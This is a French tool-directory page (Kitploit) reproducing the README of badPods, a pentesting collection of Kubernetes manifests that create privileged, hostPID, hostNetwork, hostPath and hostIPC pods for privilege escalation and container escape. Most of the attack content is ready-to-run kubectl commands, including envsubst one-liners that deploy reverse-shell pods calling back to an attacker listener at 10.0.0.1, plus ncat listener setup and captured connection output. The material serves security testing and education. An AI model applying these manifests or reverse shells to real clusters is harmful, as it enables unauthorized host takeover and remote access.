Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
badPods — Une collection de manifests qui créera des pods avec des privilèges élevés. | Kitploit
Outils/GitHubGitHub/bishopfox/badpods
Escalade de PrivilègesSécurité des ConteneursExploitationTests d'IntrusionSécurité CloudMauvaise ConfigurationÉvasion de ConteneurTop en Évasion de Conteneur n°6
GitHubbishopfox/badpods

badPods

7061189il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Une collection de manifests qui créera des pods avec des privilèges élevés.

Voir le dépôtSite web

Bad Pods

Une collection de manifests qui créent des pods avec différents privilèges élevés. Démontrez rapidement l'impact de l'autorisation d'attributs de pods sensibles pour la sécurité comme hostNetwork, hostPID, hostPath, hostIPC et privileged.

Pour plus de contexte, consultez notre article de blog : Bad Pods: Kubernetes Pod Privilege Escalation.

Sommaire

  • La sélection des Bad Pods
  • Prérequis
  • Organisation
  • Utilisation
    • Approche générale
    • Exemples d'utilisation
      • Créer les huit Bad Pods à partir du dépôt local cloné
      • Créer les huit Bad Pods depuis GitHub
      • Créer les huit Bad Pods reverse shell
      • Créer les huit types de ressources avec le pod everything-allowed
      • Créer un cronjob avec le pod hostNetwork
      • Créer un deployment avec le pod priv-and-hostpid
      • Créer un reverse shell avec le pod privileged
  • Remerciements
  • Références et lectures complémentaires

La sélection des Bad Pods

Chaque lien ci-dessous fournit des informations d'utilisation détaillées et des recommandations de post-exploitation.

  • Bad Pod n°1 : Tout est autorisé
  • Bad Pod n°2 : Privileged et hostPid
  • Bad Pod n°3 : Privileged uniquement
  • Bad Pod n°4 : hostPath uniquement
  • Bad Pod n°5 : hostPid uniquement
  • Bad Pod n°6 : hostNetwork uniquement
  • Bad Pod n°7 : hostIPC uniquement
  • Bad Pod n°8 : Rien n'est autorisé

Pour plus d'informations générales sur les prérequis, l'organisation du dépôt et les schémas d'utilisation courants, voir les sections ci-dessous.

Prérequis

  1. Accès à un cluster
  2. Permission RBAC pour créer l'un des types de ressources suivants dans au moins un namespace :
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. Permission RBAC pour exécuter une commande (exec) dans des pods, ou une politique réseau qui permet à un reverse shell depuis un pod de vous atteindre.
  4. Aucune pod security policy appliquée, ou une politique permettant de créer des pods avec un ou plusieurs attributs sensibles pour la sécurité.

Organisation

  • 128 manifests autonomes et prêts à l'emploi. Pourquoi autant ?
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed, etc.)
    • 8 types de ressources capables de créer des pods (pod, deployment, replicaset, statefulset, etc.)
    • 2 façons d'accéder aux pods créés (exec et reverse shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

Huit façons de créer un pod

Comme le souligne Eviatar Gerzi (@g3rzi) dans l'article Eight Ways to Create a Pod, il existe 8 contrôleurs différents capables de créer un pod, ou un ensemble de pods. Vous n'êtes peut-être pas autorisé à créer des pods, mais vous pouvez peut-être créer un autre type de ressource qui en créera un ou plusieurs. Pour chaque type de badPod, des manifests correspondant aux huit types de ressources sont fournis.

Mais attendez, ça se corse ! En plus des huit contrôleurs Kubernetes actuels capables de créer des pods, il existe des contrôleurs de tiers qui peuvent également créer des pods s'ils sont appliqués au cluster. Gardez un œil sur eux en consultant kubectl api-resources.

Reverse shells

Bien que fréquente, il n'est pas toujours possible d'exécuter des commandes (exec) dans les pods que vous pouvez créer. Pour aider dans ces situations, une version de chaque manifest est incluse, utilisant l'image ncat dockerhub de Rory McCune (@raesene). Une fois créé, le pod établira un rappel chiffré vers votre listener.

Utilisation

Chaque ressource du répertoire manifests cible un attribut spécifique ou une combinaison d'attributs qui exposent le cluster à un risque lorsqu'ils sont autorisés.

Approche générale

Option 1 : Approche méthodique

  1. Évaluer le RBAC - Déterminer quels types de ressources vous pouvez créer
  2. Évaluer la politique d'admission - Déterminer lesquels des Bad Pods vous pourrez créer
  3. Créer les ressources - En fonction de ce qui est autorisé, utiliser le type de badPod et le type de ressource spécifiques et créer vos ressources
  4. Post-exploitation - Évaluer les étapes de post-exploitation décrites dans le README pour ce type
    • Tout est autorisé
    • Privileged et hostPid
    • Privileged uniquement
    • hostPath uniquement
    • hostPid uniquement
    • hostNetwork uniquement
    • hostIPC uniquement
    • Rien n'est autorisé

Option 2 : Approche « shotgun »

  1. Créer les ressources - Commencez simplement à appliquer différents manifests et voyez ce qui fonctionne
    • Créer les huit Bad Pods depuis GitHub
    • Créer les huit types de ressources avec le pod everything-allowed
  2. Post-exploitation - Pour tout pod créé, évaluer les étapes de post-exploitation décrites dans le README pour ce type
    • Tout est autorisé
    • Privileged et hostPid
    • Privileged uniquement
    • hostPath uniquement
    • hostPid uniquement
    • hostNetwork uniquement
    • hostIPC uniquement
    • Rien n'est autorisé

Exemples d'utilisation

  • Créer les huit Bad Pods à partir du dépôt local cloné
  • Créer les huit Bad Pods depuis GitHub
  • Créer les huit Bad Pods reverse shell
  • Créer les huit types de ressources avec le pod everything-allowed
  • Créer un cronjob avec le pod hostNetwork
  • Créer un deployment avec le pod priv-and-hostpid
  • Créer un reverse shell avec le pod privileged

Créer les huit Bad Pods à partir du dépôt local cloné

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Créer les huit Bad Pods depuis GitHub

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Créer les huit badPods reverse shell

Pour éviter d'avoir à modifier chaque pod avec votre hôte et votre port, vous pouvez utiliser des variables d'environnement et la commande envsubst. N'oubliez pas de démarrer tous vos listeners au préalable !

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

Créer un cronjob avec le pod hostNetwork

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

Trouver le pod créé

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

Exécuter une commande dans le pod

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

Créer un deployment avec le pod priv-and-hostpid

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

Trouver le pod créé

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

Exécuter une commande dans le pod

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

Créer les huit types de ressources avec le pod everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

Afficher tous les pods créés

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

Supprimer toutes les ressources everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

Créer un reverse shell avec le pod privileged

Configurer le listener

root@kitploit:~
ncat --ssl -vlp 3116

Créer le pod à partir du yaml local sans le modifier en utilisant des variables d'environnement et envsubst

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

Récupérer le shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

Contribution

Les pull requests et les issues sont les bienvenues.

Remerciements

Merci à Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi, et Madhu Akula pour avoir publiquement partagé autant de connaissances sur la sécurité offensive de Kubernetes.

Références et lectures complémentaires

Chaque Bad Pod possède sa propre section de références et de lectures complémentaires, mais voici quelques ressources plus générales qui vous aideront à monter en compétence dans vos évaluations de sécurité Kubernetes et vos tests d'intrusion.

Nouveautés - 2020

  • Container Security Site par @raesene
  • CloudSecDocs - Container Security par @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters par @antitree
  • Compromising Kubernetes Cluster by Exploiting RBAC Permissions par @g3rzi - Conférence / Slides
  • Command and KubeCTL: Real-World Kubernetes Security for Pentesters par @antitree - Conférence / Blog
  • Kubernetes Goat par @madhuakula - Dépôt / Guide

Les classiques, depuis 2019

  • Secure Kubernetes - KubeCon NA 2019 CTF par @tabbysable, @petermbenjamin, @jimmesta et @BradGeesaman
  • The Most Pointless Kubernetes Command Ever par @raesene
  • The Path Less Traveled: Abusing Kubernetes Defaults par @IanColdwater et @mauilion- Conférence / Dépôt
  • Understanding Docker container escapes par @disconnect3d_pl
  • A Compendium of Container Escapes par @drraid et @0x7674
  • Attacking Kubernetes through Kubelet
Télécharger l’outil